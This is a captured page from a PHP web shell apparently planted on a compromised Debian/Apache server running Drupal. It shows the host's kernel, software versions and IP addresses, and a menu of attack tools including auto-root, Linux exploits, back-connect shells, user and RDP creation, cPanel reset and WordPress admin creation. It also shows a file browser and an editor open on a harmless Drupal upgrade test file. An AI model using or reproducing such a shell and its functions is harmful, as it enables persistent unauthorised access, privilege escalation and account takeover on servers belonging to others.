Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.117.91.116
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
simpletest /
tests /
upgrade /
[ HOME SHELL ]
Name
Size
Permission
Action
drupal-6.bare.database.php
229.95
KB
-rw-r--r--
drupal-6.comments.database.php
747
B
-rw-r--r--
drupal-6.duplicate-permission....
175
B
-rw-r--r--
drupal-6.filled.database.php
563.05
KB
-rw-r--r--
drupal-6.forum.database.php
4.65
KB
-rw-r--r--
drupal-6.locale.database.php
5.33
KB
-rw-r--r--
drupal-6.menu.database.php
3.71
KB
-rw-r--r--
drupal-6.node_type_broken.data...
651
B
-rw-r--r--
drupal-6.translatable.database...
2.22
KB
-rw-r--r--
drupal-6.trigger.database.php
1.6
KB
-rw-r--r--
drupal-6.upload.database.php
9.43
KB
-rw-r--r--
drupal-6.user-no-password-toke...
270
B
-rw-r--r--
drupal-6.user-password-token.d...
1.09
KB
-rw-r--r--
drupal-7.aggregator.database.p...
20.53
KB
-rw-r--r--
drupal-7.bare.minimal.database...
38.91
KB
-rw-r--r--
drupal-7.bare.standard_all.dat...
75.61
KB
-rw-r--r--
drupal-7.field.database.php
480
B
-rw-r--r--
drupal-7.filled.minimal.databa...
40.83
KB
-rw-r--r--
drupal-7.filled.standard_all.d...
95.32
KB
-rw-r--r--
drupal-7.trigger.database.php
509
B
-rw-r--r--
update.aggregator.test
1.46
KB
-rw-r--r--
update.field.test
1.68
KB
-rw-r--r--
update.trigger.test
1.05
KB
-rw-r--r--
update.user.test
928
B
-rw-r--r--
upgrade.comment.test
877
B
-rw-r--r--
upgrade.filter.test
1.85
KB
-rw-r--r--
upgrade.forum.test
2.28
KB
-rw-r--r--
upgrade.locale.test
4.3
KB
-rw-r--r--
upgrade.menu.test
3.68
KB
-rw-r--r--
upgrade.node.test
5.34
KB
-rw-r--r--
upgrade.poll.test
2.05
KB
-rw-r--r--
upgrade.taxonomy.test
8.93
KB
-rw-r--r--
upgrade.test
24.55
KB
-rw-r--r--
upgrade.translatable.test
1.96
KB
-rw-r--r--
upgrade.trigger.test
1.18
KB
-rw-r--r--
upgrade.upload.test
3.89
KB
-rw-r--r--
upgrade.user.test
3.52
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upgrade.menu.test
<?php /** * Upgrade test for menu.module. */ class MenuUpgradePathTestCase extends UpgradePathTestCase { public static function getInfo() { return array( 'name' => 'Menu upgrade path', 'description' => 'Menu upgrade path tests.', 'group' => 'Upgrade path', ); } public function setUp() { // Path to the database dump files. $this->databaseDumpFiles = array( drupal_get_path('module', 'simpletest') . '/tests/upgrade/drupal-6.filled.database.php', drupal_get_path('module', 'simpletest') . '/tests/upgrade/drupal-6.menu.database.php', ); parent::setUp(); $this->uninstallModulesExcept(array('menu')); } /** * Test a successful upgrade. */ public function testMenuUpgrade() { $this->assertTrue($this->performUpgrade(), 'The upgrade was completed successfully.'); // Test the migration of "Default menu for content" setting to individual // node types. $this->drupalGet('admin/structure/types/manage/page/edit'); $this->assertNoFieldChecked('edit-menu-options-management', 'Management menu is not selected as available menu'); $this->assertNoFieldChecked('edit-menu-options-navigation', 'Navigation menu is not selected as available menu'); $this->assertNoFieldChecked('edit-menu-options-main-menu', 'Main menu is not selected as available menu'); $this->assertFieldChecked('edit-menu-options-secondary-menu', 'Secondary menu is selected as available menu'); $this->assertNoFieldChecked('edit-menu-options-user-menu', 'User menu is not selected as available menu'); $this->assertOptionSelected('edit-menu-parent', 'secondary-menu:0', 'Secondary menu is selected as default parent item'); $this->assertEqual(variable_get('menu_default_node_menu'), NULL, 'Redundant variable menu_default_node_menu has been removed'); // Verify Primary/Secondary Links have been renamed. $this->drupalGet('admin/structure/menu'); $this->assertNoLinkByHref('admin/structure/menu/manage/primary-links'); $this->assertLinkByHref('admin/structure/menu/manage/main-menu'); $this->assertNoLinkByHref('admin/structure/menu/manage/secondary-links'); $this->assertLinkByHref('admin/structure/menu/manage/secondary-menu'); // Verify the existence of all system-defined (default) menus. foreach (menu_list_system_menus() as $menu_name => $title) { $this->assertLinkByHref('admin/structure/menu/manage/' . $menu_name, 0, 'Found default menu: ' . $title); } // Verify a few known links are still present, plus the ones created here. $test_menus = array( 'navigation' => array('Add content', 'nodeadd-navigation'), 'management' => array('Administration', 'Account settings'), 'user-menu' => array('My account', 'Log out'), 'main-menu' => array('nodeadd-primary'), 'secondary-menu' => array('nodeadd-secondary'), ); foreach ($test_menus as $menu_name => $links) { $this->drupalGet('admin/structure/menu/manage/' . $menu_name); $this->assertResponse(200, 'Access menu management for ' . $menu_name); foreach ($links as $link_text) { $this->assertLink(t($link_text)); } } // Check the "source for primary/secondary links" setting. $this->drupalGet('admin/structure/menu/settings'); $this->assertOptionSelected('edit-menu-main-links-source', 'secondary-menu'); $this->assertOptionSelected('edit-menu-secondary-links-source', 'main-menu'); // Check that both primary/secondary links blocks are visible. $this->drupalGet('node'); $this->assertText('My Primary Links', '(Formerly) Primary Links block is still visible'); $this->assertText('My Secondary Links', '(Formerly) Secondary Links block is still visible'); } }
Close